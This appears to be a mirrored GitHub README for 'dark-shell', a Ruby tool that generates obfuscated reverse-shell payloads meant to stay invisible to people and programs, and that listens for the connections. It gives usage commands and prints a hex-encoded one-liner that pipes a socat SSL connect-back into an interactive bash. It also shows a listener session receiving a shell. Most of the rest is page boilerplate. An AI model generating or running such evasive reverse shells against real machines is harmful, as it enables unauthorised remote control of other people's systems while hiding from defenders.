GithubHelp home page GithubHelp logo

dark-shell's Introduction

dark-shell

Some shells which are invisible to humans or programs.

中文文档

Install

Just download the dark_shell.rb, and install some dependency.

gem install rex rex-socket base32

Usage

Run script without parameter to get help info.

$ ruby dark_shell.rb


____             _         ____  _          _ _
|  _ \  __ _ _ __| | __    / ___|| |__   ___| | |
| | | |/ _` | '__| |/ /    \___ \| '_ \ / _ \ | |
| |_| | (_| | |  |   <      ___) | | | |  __/ | |
|____/ \__,_|_|  |_|\_\    |____/|_| |_|\___|_|_|


See more: https://github.com/Green-m/dark-shell

Dark shell listen server.

Usage:
  ruby dark_shell.rb <action> <ipaddress> <port> <type>
Action: gen, listen, gencode
  gen:      generate payload to run.
  gencode:  generate payload(encoded) to run.
  listen:   listen as a server.

Type: hex, ssl, base64, base32


Example:
  ruby dark_shell.rb listen 127.0.0.1 4444 hex
  ruby dark_shell.rb listen 0.0.0.0 4444
  ruby dark_shell.rb listen
  ruby dark_shell.rb gencode 8.8.8.8 1337 ssl
  ruby dark_shell.rb gen 8.8.8.8 4444 base64
  ruby dark_shell.rb gen

Get some connect back payloads.

ruby dark_shell.rb gencode 127.0.0.1 1337 ssl

And the we get a lot of payloads, pick one, for instance:

sh -c '{echo,736f63617420657865633a276261736827206f70656e73736c2d636f6e6e6563743a3132372e302e302e313a313333372c7665726966793d30}|{xxd,-p,-r}|{bash,-i}'

Start listening

$ ruby dark_shell.rb listen 127.0.0.1 1337 ssl


____             _         ____  _          _ _
|  _ \  __ _ _ __| | __    / ___|| |__   ___| | |
| | | |/ _` | '__| |/ /    \___ \| '_ \ / _ \ | |
| |_| | (_| | |  |   <      ___) | | | |  __/ | |
|____/ \__,_|_|  |_|\_\    |____/|_| |_|\___|_|_|


See more: https://github.com/Green-m/dark-shell

Type: 'SSL'
Starting listen 127.0.0.1:1337
Received from 127.0.0.1:57323
Input is ready.
pwd
>/private/tmp
whoami
>green


dark-shell's People

Contributors

green-m avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.